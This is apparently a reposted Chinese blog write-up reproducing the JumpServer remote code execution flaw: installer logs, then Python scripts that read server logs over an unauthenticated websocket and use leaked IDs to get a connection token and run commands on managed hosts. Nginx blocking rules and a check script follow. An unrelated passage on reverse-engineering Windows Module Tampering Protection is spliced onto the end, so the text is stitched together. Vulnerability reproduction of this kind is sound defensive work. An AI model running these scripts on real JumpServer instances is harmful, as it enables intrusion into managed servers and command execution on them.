$ git clone https://github.com/jumpserver/installer.git
正克隆到 'installer'...
remote: Enumerating objects: 467, done.
remote: Total 467 (delta 0), reused 0 (delta 0), pack-reused 467
接收对象中: 100% (467/467), 95.24 KiB | 182.00 KiB/s, 完成.
处理 delta 中: 100% (305/305), 完成.

# yanq @ yanq-desk in ~/gitrepo [22:20:27] 
$ cd installer   

# yanq @ yanq-desk in ~/gitrepo/installer on git:master o [22:20:30] 
$ ls
compose  config-example.txt  config_init  jmsctl.sh  README.md  scripts  static.env  utils

# yanq @ yanq-desk in ~/gitrepo [22:18:59] 
$ export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# yanq @ yanq in ~/github/installer on git:master o [22:03:43] C:130
$ sudo su                   
root@yanq:/home/yanq/github/installer# ./jmsctl.sh install


       ██╗██╗   ██╗███╗   ███╗██████╗ ███████╗███████╗██████╗ ██╗   ██╗███████╗██████╗
       ██║██║   ██║████╗ ████║██╔══██╗██╔════╝██╔════╝██╔══██╗██║   ██║██╔════╝██╔══██╗
       ██║██║   ██║██╔████╔██║██████╔╝███████╗█████╗  ██████╔╝██║   ██║█████╗  ██████╔╝
  ██   ██║██║   ██║██║╚██╔╝██║██╔═══╝ ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██╔══╝  ██╔══██╗
  ╚█████╔╝╚██████╔╝██║ ╚═╝ ██║██║     ███████║███████╗██║  ██║ ╚████╔╝ ███████╗██║  ██║
  ╚════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝     ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

                                                                   Version:  dev  



>>> 一、配置JumpServer
1. 检查配置文件
各组件使用环境变量式配置文件,而不是 yaml 格式, 配置名称与之前保持一致
配置文件位置: /opt/jumpserver/config/config.txt
完成

2. 配置 Nginx 证书
证书位置在: /opt/jumpserver/config/nginx/cert
完成

3. 备份配置文件
备份至 /opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52
完成

4. 配置网络
需要支持 IPv6 吗? (y/n)  (默认为n): n
完成

5. 自动生成加密密钥
完成

6. 配置持久化目录 
修改日志录像等持久化的目录,可以找个最大的磁盘,并创建目录,如 /opt/jumpserver
注意: 安装完后不能再更改, 否则数据库可能丢失

文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

设置持久化卷存储目录 (默认为/opt/jumpserver): 
完成

7. 配置MySQL
是否使用外部mysql (y/n)  (默认为n): n
完成

8. 配置Redis
是否使用外部redis  (y/n)  (默认为n): n
完成

>>> 二、安装配置Docker
1. 安装Docker
开始下载 Docker 程序 ...
--2021-01-17 22:04:12--  https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-18.06.2-ce.tgz
正在解析主机 mirrors.aliyun.com (mirrors.aliyun.com)... 180.97.148.110, 101.89.125.248, 58.216.16.38, ...
正在连接 mirrors.aliyun.com (mirrors.aliyun.com)|180.97.148.110|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 43834194 (42M) [application/x-tar]
正在保存至: “/tmp/docker.tar.gz”

/tmp/docker.tar.gz                                          100%[===========================================================================================================================================>]  41.80M  13.8MB/s    用时 3.0s  

2021-01-17 22:04:16 (13.8 MB/s) - 已保存 “/tmp/docker.tar.gz” [43834194/43834194])

开始下载 Docker compose 程序 ...
--2021-01-17 22:04:17--  https://get.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 get.daocloud.io (get.daocloud.io)... 106.75.86.15
正在连接 get.daocloud.io (get.daocloud.io)|106.75.86.15|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 302 FOUND
位置:https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 [跟随至新的 URL]
--2021-01-17 22:04:28--  https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)... 240e:ff:a024:200:3::3fe, 240e:964:1003:302:3::3fe, 61.160.204.242, ...
正在连接 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)|240e:ff:a024:200:3::3fe|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 12218968 (12M) [application/x-executable]
正在保存至: “/tmp/docker-compose”

/tmp/docker-compose                                         100%[===========================================================================================================================================>]  11.65M  8.43MB/s    用时 1.4s  

2021-01-17 22:04:35 (8.43 MB/s) - 已保存 “/tmp/docker-compose” [12218968/12218968])

已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): n
完成

2. 配置Docker
修改Docker镜像容器的默认存储目录,可以找个最大的磁盘, 并创建目录,如 /opt/docker
文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

Docker存储目录 (默认为/opt/docker): 
完成

3. 启动Docker
Docker 版本发生改变 或 docker配置文件发生变化,是否要重启 (y/n)  (默认为y): y
完成

>>> 三、加载镜像
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
05e7bc50f07f: Pull complete 
14c9d57a1c7f: Pull complete 
ccd033d7ec06: Pull complete 
6ff79b059f99: Pull complete 
d91237314b77: Pull complete 
c47d41ba6aa8: Pull complete 
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Downloaded newer image for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
6ec7b7d162b2: Pull complete 
fedd960d3481: Pull complete 
7ab947313861: Pull complete 
64f92f19e638: Pull complete 
3e80b17bff96: Pull complete 
014e976799f9: Pull complete 
59ae84fee1b3: Pull complete 
7d1da2a18e2e: Pull complete 
301a28b700b9: Pull complete 
979b389fc71f: Pull complete 
403f729b1bad: Pull complete 
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Downloaded newer image for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
c87736221ed0: Pull complete 
6ff0ab02fe54: Pull complete 
e5b318df7728: Pull complete 
b7a5a4fe8726: Pull complete 
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Downloaded newer image for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:dev]
dev: Pulling from jumpserver/luna
801bfaa63ef2: Pull complete 
b1242e25d284: Pull complete 
7453d3e6b909: Pull complete 
07ce7418c4f8: Pull complete 
e295e0624aa3: Pull complete 
d373a40639dd: Pull complete 
565ad7a883c2: Pull complete 
Digest: sha256:68be3762e065f9eae1bfef462dcd1394ca7a256d22e807d129cc9888c4159874
Status: Downloaded newer image for jumpserver/luna:dev
docker.io/jumpserver/luna:dev

[jumpserver/core:dev]
dev: Pulling from jumpserver/core
6ec7b7d162b2: Already exists 
80ff6536d04b: Pull complete 
2d04da85e485: Pull complete 
998aa32a5c8a: Pull complete 
7733ef26f344: Pull complete 
a3fc2d00adff: Pull complete 
0fceca9bd0c9: Pull complete 
6fd88063e2c9: Pull complete 
6b761cc0db94: Pull complete 
25d46cb4551e: Pull complete 
6da27e4adc2b: Pull complete 
e521a634bfca: Pull complete 
90d95c158108: Pull complete 
Digest: sha256:4733073dfbbf6ec5cf6738738e3305ecaf585bff343a3e4c9990398fd7efbb5c
Status: Downloaded newer image for jumpserver/core:dev
docker.io/jumpserver/core:dev

[jumpserver/koko:dev]
dev: Pulling from jumpserver/koko
6d28e14ab8c8: Pulling fs layer 
1473f8a0a4e1: Pulling fs layer 
683341f9f103: Pull complete 
631f019c17de: Pull complete 
f3a995ef2b4b: Pull complete 
c091dc645c6f: Pull complete 
4e858775bdf0: Pull complete 
fa772130cab7: Pull complete 
a0f79afbde1c: Pull complete 
fdaf81979833: Pull complete 
8d4986e114f0: Pull complete 
eeb197dd15a0: Pull complete 
271cd9c942c6: Pull complete 
fc8bb9405f48: Pull complete 
06a07acf5be2: Pull complete 
Digest: sha256:7e8327a84b8d593c7b8c48dec8fa6ee8bc31e43d6e2344ae0e82897beefc76f1
Status: Downloaded newer image for jumpserver/koko:dev
docker.io/jumpserver/koko:dev

[jumpserver/guacamole:dev]
dev: Pulling from jumpserver/guacamole
6c33745f49b4: Pulling fs layer 
ef072fc32a84: Pulling fs layer 
c0afb8e68e0b: Pulling fs layer 
d599c07d28e6: Pulling fs layer 
e8a829023b97: Waiting 
2709df21cc5c: Waiting 
3bfb431a8cf5: Waiting 
bb9822eef866: Waiting 
5842bda2007b: Pulling fs layer 
453a23f25fcb: Waiting 
c856ffeae983: Waiting 
c51581693e31: Pull complete 
0809345a90d0: Pull complete 
0ba7229a2102: Pull complete 
bf692785c490: Pull complete 
9d6086f6248b: Pull complete 
86c187652ab5: Pull complete 
07f50f434b4b: Pull complete 
9173a0544d33: Pull complete 
78884a472184: Pull complete 
940cbfe07a44: Pull complete 
f322e824f1f5: Pull complete 
02228eb4be13: Pull complete 
dfe141bc6b7b: Pull complete 
Digest: sha256:fc0cd386edca711b45d84f6c192269d176ee165196ced8654ae18ac21eba0dc3
Status: Downloaded newer image for jumpserver/guacamole:dev
docker.io/jumpserver/guacamole:dev

[jumpserver/lina:dev]
dev: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
b1e2e4ef9246: Pull complete 
cf63647ff370: Pull complete 
Digest: sha256:5572209db626212f06e4744ae297b5520f59671841c8e3713ce65bbec3ee5038
Status: Downloaded newer image for jumpserver/lina:dev
docker.io/jumpserver/lina:dev


>>> 四、安装完成了
1. 可以使用如下命令启动, 然后访问
./jmsctl.sh start

2. 其它一些管理命令
./jmsctl.sh stop
./jmsctl.sh restart
./jmsctl.sh backup
./jmsctl.sh upgrade
更多还有一些命令,你可以 ./jmsctl.sh --help来了解

3. 访问 Web 后台页面
http://192.168.1.7:8080
https://192.168.1.7:8443

4. ssh/sftp 访问
ssh admin@192.168.1.7 -p2222
sftp -P2222 admin@192.168.1.7

5. 更多信息
我们的文档: https://docs.jumpserver.org/
我们的官网: https://www.jumpserver.org/


root@yanq:/home/yanq/github/installer# ./jmsctl.sh upgrade v2.6.1
你确定要升级到 v2.6.1 版本吗? (y/n)  (默认为n): y

1. 检查配置变更
完成

2. 检查程序文件变更
已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): 
完成

3. 升级镜像文件
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Image is up to date for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Image is up to date for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Image is up to date for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:v2.6.1]
v2.6.1: Pulling from jumpserver/luna
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
9aa19406fcc2: Pull complete 
b88c1894aa70: Pull complete 
Digest: sha256:6889bc5825c8b608d3d086fa6713da5098665d9caaa6de0d2de2e30f27246fa4
Status: Downloaded newer image for jumpserver/luna:v2.6.1
docker.io/jumpserver/luna:v2.6.1

[jumpserver/core:v2.6.1]
v2.6.1: Pulling from jumpserver/core
852e50cd189d: Pull complete 
334ed303e4ad: Pull complete 
a687a65725ea: Pull complete 
fe607cb30fbe: Pull complete 
af3dd7a5d357: Pull complete 
5ed087772967: Pull complete 
de88310b192c: Pull complete 
3f3c40cb5584: Pull complete 
a616053790d8: Pull complete 
f78e4ffd4b11: Pull complete 
681df5236765: Pull complete 
6feeeb96a348: Pull complete 
8b170624587e: Pull complete 
Digest: sha256:1332e03847e45f1995845e1b74f1f3deb1f108da72ac5b8af087bc3775690e7b
Status: Downloaded newer image for jumpserver/core:v2.6.1
docker.io/jumpserver/core:v2.6.1

[jumpserver/koko:v2.6.1]
v2.6.1: Pulling from jumpserver/koko
6d28e14ab8c8: Already exists 
c4b1524d2f75: Pulling fs layer 
8522e19e2998: Pull complete 
106d5adca780: Pull complete 
e649208988b3: Pull complete 
fd02488ce54c: Pull complete 
8566396c9588: Pull complete 
5c3ae6b36882: Pull complete 
cb4e3aeda111: Pull complete 
3bc46e9d6be9: Pull complete 
919620ef3747: Pull complete 
3998a9375e49: Pull complete 
5869987766aa: Pull complete 
9fd39a172e25: Pull complete 
f60bfb937cc4: Pull complete 
Digest: sha256:242e96c7a992bf44ccbda321fb69c8ea4d39d5ff423cf8f1505e9856b1ac2496
Status: Downloaded newer image for jumpserver/koko:v2.6.1
docker.io/jumpserver/koko:v2.6.1

[jumpserver/guacamole:v2.6.1]
v2.6.1: Pulling from jumpserver/guacamole
c5e155d5a1d1: Pulling fs layer 
221d80d00ae9: Pulling fs layer 
4250b3117dca: Pulling fs layer 
d1370422ab93: Pulling fs layer 
deb6b03222ca: Pulling fs layer 
9cdea8d70cc3: Pulling fs layer 
968505be14db: Pulling fs layer 
04b5c270ac81: Pulling fs layer 
301d76fcab1f: Pulling fs layer 
f4d49608235a: Pulling fs layer 
f4c6404fd6f8: Pulling fs layer 
73ac8e900d64: Pulling fs layer 
eec0a1010dfa: Pull complete 
199219e1bcf7: Pull complete 
54d3328751a0: Pull complete 
68412973433c: Pull complete 
b45d84968434: Pull complete 
9569df8016cc: Pull complete 
642448bde40a: Pull complete 
e788dd92de90: Pull complete 
223eaf2bd9f6: Pull complete 
b68966fc02ad: Pull complete 
cf0eb6b2e415: Pull complete 
0b78188a975b: Pull complete 
704b69b91dcb: Pull complete 
Digest: sha256:cb80c430c14ad220edd6f20855da5f7ea256d75f5f87bebe29d7e27275c4beeb
Status: Downloaded newer image for jumpserver/guacamole:v2.6.1
docker.io/jumpserver/guacamole:v2.6.1

[jumpserver/lina:v2.6.1]
v2.6.1: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
2ec572beb6c1: Pull complete 
c7d22dce32ca: Pull complete 
Digest: sha256:8d63a0716558b4384f0eab2220bcfefe5ba2e040cbd33634576ba444c215212a
Status: Downloaded newer image for jumpserver/lina:v2.6.1
docker.io/jumpserver/lina:v2.6.1

完成
4. 备份数据库
正在备份...
mysqldump: [Warning] Using a password on the command line interface can be insecure.
备份成功! 备份文件已存放至: /opt/jumpserver/db_backup/jumpserver-2021-01-17_22:28:00.sql.gz 

5. 进行数据库变更
表结构变更可能需要一段时间,请耐心等待 (请确保数据库在运行)
2021-01-17 22:28:03 Collect static files
2021-01-17 22:28:03 Collect static files done
2021-01-17 22:28:03 Check database structure change ...
2021-01-17 22:28:03 Migrate model change to database ...

472 static files copied to '/opt/jumpserver/data/static'.
Operations to perform:
  Apply all migrations: admin, applications, assets, audits, auth, authentication, captcha, common, contenttypes, django_cas_ng, django_celery_beat, jms_oidc_rp, ops, orgs, perms, sessions, settings, terminal, tickets, users
Running migrations:
  No migrations to apply.
完成

6. 升级成功, 可以重启程序了
./jmsctl.sh restart

root@yanq:/home/yanq/github/installer# ./jmsctl.sh restart
Stopping jms_core ... done
Stopping jms_koko ... done
Stopping jms_guacamole ... done
Stopping jms_lina ... done
Stopping jms_luna ... done
Stopping jms_nginx ... done
Stopping jms_celery ... done
Removing jms_core ... done
Removing jms_koko ... done
Removing jms_guacamole ... done
Removing jms_lina ... done
Removing jms_luna ... done
Removing jms_nginx ... done
Removing jms_celery ... done


WARNING: The HOSTNAME variable is not set. Defaulting to a blank string.
jms_mysql is up-to-date
jms_redis is up-to-date
Creating jms_core ... done
Creating jms_lina      ... done
Creating jms_guacamole ... done
Creating jms_koko      ... done
Creating jms_celery    ... done
Creating jms_luna      ... done
Creating jms_nginx     ... done

rhmvyucszha14143.png

2.2 读取日志

可以直接访问日志的websocket接口,在线测试websocket工具:http://coolaf.com/tool/chattest 或者使用扩展:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn

下面用代码测试:

import asyncio
import re

import websockets
import json

url = "/ws/ops/tasks/log/"

async def main_logic(t):
    print("#######start ws")
    async with websockets.connect(t) as client:
        await client.send(json.dumps({"task": "//opt/jumpserver/logs/jumpserver"}))
        while True:
            ret = json.loads(await client.recv())
            print(ret["message"], end="")

if __name__ == "__main__":
    host = "http://192.168.1.7:8080"
    target = host.replace("https://", "wss://").replace("http://", "ws://") + url
    print("target: %s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(target))

ei0hoza2mb514145.png

这里读到的就是jumpserver上/opt/jumpserver/core/logs/jumpserver目录下的日志。

搭建的漏洞环境中有如下日志可以读:

root@yanq:/opt/jumpserver/core/logs# ls -la
总用量 248
drwxr-xr-x 3 root root   4096 1月  17 23:59 .
drwxr-xr-x 4 root root   4096 1月  17 22:17 ..
drwxr-xr-x 2 root root   4096 1月  17 23:59 2021-01-17
-rw-r--r-- 1 root root      0 1月  17 22:17 ansible.log
-rw-r--r-- 1 root root   2978 1月  18 01:51 beat.log
-rw-r--r-- 1 root root   3122 1月  18 01:51 celery_ansible.log
-rw-r--r-- 1 root root    978 1月  18 01:51 celery_check_asset_perm_expired.log
-rw-r--r-- 1 root root   4332 1月  18 01:51 celery_default.log
-rw-r--r-- 1 root root      0 1月  17 23:59 celery_heavy_tasks.log
-rw-r--r-- 1 root root   4604 1月  18 01:51 celery_node_tree.log
-rw-r--r-- 1 root root   1919 1月  18 01:50 daphne.log
-rw-r--r-- 1 root root   1359 1月  17 22:18 drf_exception.log
-rw-r--r-- 1 root root      0 1月  17 23:59 flower.log
-rw-r--r-- 1 root root 191941 1月  18 01:52 gunicorn.log
-rw-r--r-- 1 root root   7470 1月  18 01:51 jumpserver.log
-rw-r--r-- 1 root root      0 1月  17 22:17 unexpected_exception.log

比如读取gunicorn.log:

krfrnapy4ue14146.png

除了读日志文件,还可以从/opt/jumpserver/logs/jumpserver读取到taskid,然后查看task的详细信息(当然taskid很可能已经失效了)

ws://192.168.1.73:8080/ws/ops/tasks/log/发送
{"task":"33xxxxx"}

2.3 远程命令执行

需要在jumpserver中添加一台主机,并且用户登录web terminal。

v15ejikzinm14147.png

登录过web terminal之后,在gunicorn.log可以拿到这三个信息。(从结果中搜索/asset-permissions/user/validate)

g4fpjhkjefa14148.png

如果读到了这三个字段,可以利用/api/v1/users/connection-token/拿到一个token,将token发给koko组件可以拿到一个ssh凭证,就可以登陆用户机器了。

通过以下脚本进行远程命令执行利用

import asyncio
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    print(f"{recv_text}")

# 客户端主逻辑
async def main_logic(cmd):
    print("#######start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print("###############")
        print("exec cmd: ls")
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print('#######finish')


if __name__ == '__main__':
    host = "http://192.168.1.7:8080"
    cmd="whoami"
    if host[-1]=='/':
        host=host[:-1]
    print(host)
    data = {"user": "83b24e76-028b-4f49-9329-63e5e3ef10a4", "asset": "96b49ae4-1efd-483a-99bc-4b9708fc7471",
            "system_user": "a0899187-0c5f-4d57-8ab4-9a8628b74864"}
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(cmd))

lpqn1bwqez114149.png

3 修复方案

以下根据官方文档:

  1. 将JumpServer升级至安全版本;
  2. 临时修复方案:

修改 Nginx 配置文件屏蔽漏洞接口

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx 配置文件位置

# 社区老版本
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本
jumpserver-release/nginx/http_server.conf
 
# 新版本在 
jumpserver-release/compose/config_static/http_server.conf

修改 Nginx 配置文件实例

# 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
   return 403;
}
 
location /api/v1/users/connection-token/ {
   return 403;
}
# 新增以上这些
 
location /api/ {
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://core:8080;
  }

...

修改完成后重启 nginx

docker方式: 
docker restart jms_nginx

nginx方式:
systemctl restart nginx

修复验证

$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh 

# 使用方法 bash jms_bug_check.sh HOST 
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复

参考

  • https://www.o2oxy.cn/2921.html
  • https://github.com/Skactor/jumpserver_rce
  • https://s.tencent.com/research/bsafe/1228.html
  • https://mp.weixin.qq.com/s/ATy4mh53W5NJfRBdkAhyyQ


原文连接: https://saucer-man.com/information_security/520.html#cl-2

什麼是模塊篡改保護?模塊篡改保護是一種緩解措施,可防止對進程主映像的早期修改,例如IAT 掛鉤或進程空心化。它一共使用了三個API:NtQueryVirtualMemory、NtQueryInformationProcess 和NtMapViewOfSection。如果啟用,加載程序將在調用入口點之前檢查主圖像標頭和IAT 頁面中的更改。它通過使用信息類MemoryWorkingSetExInformation 調用NtQueryVirtualMemory 來做到這一點。返回的結構包含有關頁面共享狀態的信息,以及是否從其原始視圖修改。如果標頭或IAT 已從其原始映射修改。例如,如果主圖像已被取消映射,並且已在其位置映射了另一個圖像,則加載器將使用類ProcessImageSection 調用NtQueryInformationProcess 以獲取主圖像部分,然後將使用NtMapViewOfSection 重新映射它。這樣,新部分將被使用,篡改的圖像副本將被忽略。

此緩解從RS3 開始可用,並且可以使用PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_MASK 在進程創建時啟用。

模塊篡改保護緩解措施是如何發現的如果微軟從未宣布或記錄某些緩解措施,那人們如何才能發現這些緩解措施?因此,一個值得關注的好地方是EPROCESS 結構中的各種MitigationFlags 字段。目前存在三個MitigationFlags 字段(MitigationFlags、MitigationFlags2、MitigationsFlags3),每個字段包含32 位。在前兩個中,整個32位已經被使用,所以最近添加了MitigationFlags3,目前包含三個緩解措施,我相信很快會添加更多。這些標誌代表進程中啟用的緩解措施。例如,我們可以使用WinDbg 為當前進程打印EPROCESS.MitigationFlags:

1.png

最後,在位28 和29 中,我們可以看到值EnableModuleTamperingProtection 和EnableModuleTamperingProtectionNoInherit。不幸的是,搜索這些名稱並沒有得到任何好的結果。有幾個網站只顯示結構而沒有解釋,一個模糊的堆棧溢出答案簡要提到了EnableModuleTamperingProtectionNoInherit 而沒有添加細節,還有這條推文:

2.png

不出所料,最詳細的解釋是Alex Ionescu 2017 年發布的一條推文。這雖並不是完整的文檔,但它是一個開始。如果你已經了解並理解構成此緩解措施的概念,那麼這一系列的推文可能會非常清楚地解釋有關該特性的所有內容。

開始搜索進程緩解實現的第一個地方通常是內核:ntoskrnl.exe。然而,這是一個巨大的二進製文件,不容易搜索。似乎沒有與此緩解措施完全相關的函數名稱,所以沒有明顯的地方可以開始。

相反,你可以嘗試不同的方法並嘗試找到對EPROCESS 的MitigationFlags 字段的引用,並可以訪問這兩個標誌中的一個。但除非你可以訪問Windows 源代碼,否則沒有簡單的方法可以做到這一點。但是,你可以做的是利用EPROCESS 是一個大型結構並且MitigationFlags 存在於它的末尾,偏移量0x9D0 的事實。一種非常粗暴但有效的方法是使用IDA 搜索功能並蒐索所有對9D0h 的引用:

3.png

這會很慢,因為它是一個很大的二進製文件,並且一些結果與EPROCESS 結構無關,因此你必須手動搜索結果。此外,僅查找對該字段的引用是不夠的,MitigationFlags 包含32 位,其中只有兩個與當前上下文相關。所以,你必須搜索所有的結果,找出以下情況:

0x9D0被用作EPROCESS結構的偏移量——因為無法保證知道每種情況使用的結構類型,儘管對於較大的偏移量,只有少數選項可以是相關的,它主要可以通過函數名稱和上下文來猜測。

比較或設置MitigationFlags字段為0x10000000 (EnableModuleTamperingProtection)或0x20000000 (EnableModuleTamperingProtectionNoInherit)。或者通過諸如bt或bts之類的彙編指令,按位數測試或設置位28或位29。

運行搜索後,結果看起來像這樣:

4.png

你現在可以瀏覽結果並了解內核使用了哪些緩解標誌以及在哪些情況下使用。然後我會告訴你,這個努力完全沒有用,因為EnableModuleTamperingProtection 在內核中的一個地方被引用:PspApplyMitigationOptions,當創建一個新進程時調用:

5.png

因此,內核會跟踪是否啟用了此緩解措施,但從不對其進行測試。這意味著緩解措施本身在其他地方實現。這種搜索可能對這種特定的緩解措施毫無用處,但它是找出緩解措施實現位置的幾種方法之一,並且對其他流程緩解措施很有用,所以我想提一下它。

現在讓我們回到模塊篡改保護,有時會實現進程緩解的第二個位置是ntdll.dll,它是每個進程中要加載的第一個用戶模式映像。此DLL 包含所有進程所需的加載程序、系統調用存根和許多其他基本組件。在這裡實現這種緩解是有意義的,因為顧名思義它與模塊加載有關,這通過ntdll.dll 中的加載器發生。此外,這是一個包含Alex 在他的推文中提到的功能的模塊。

即使我們沒有這條推文,只要打開ntdll 並蒐索“tampering”,我們就能很快找到一個結果:函數LdrpCheckPagesForTampering。尋找這個函數的調用者,我們看到它是從LdrpGetImportDescriptorForSnap調用的:

6.png

在截圖的第一行,我們可以看到兩個檢查:第一個驗證當前正在處理的條目是主圖像,因此該模塊被加載到主圖像模塊中。第二個檢查是LdrSystemSllInitBlock.MitigationOptionsMap.Map中的兩個位。我們可以看到這裡檢查的確切字段只是因為我對LdrSystemDllInitBlock 應用了正確的類型,如果你在沒有應用正確類型的情況下查看這個函數,你會看到一些隨機的、未命名的內存地址被引用。 LdrSystemDllInitBlock 是一個數據結構,包含加載程序所需的所有全局信息,例如進程緩解選項。它沒有記錄,但具有符號中可用的PS_SYSTEM_DLL_INIT_BLOCK 類型,因此我們可以在此處使用它。請注意,雖然此結構在NTDLL 符號中不可用,而是你可以在ole32.dll 和combase.dll 的符號中找到它。 MitigationOptionsMap 字段只是三個ULONG64 的數組,其中包含標記為此過程設置的緩解選項的位。我們可以在WinBase.h 中找到所有緩解標誌的值。以下是模塊篡改保護的值:

7.png

這些值與Map頂部的DWORD 相關,因此模塊篡改保護位實際上位於Map的第44 位,在Hex Rays 屏幕截圖中以及在PspApplyMitigationOptions 中檢查的是相同位。

現在我們知道該緩解措施在哪裡應用了檢查,因此我們可以開始查看實現並了解該緩解措施的作用。

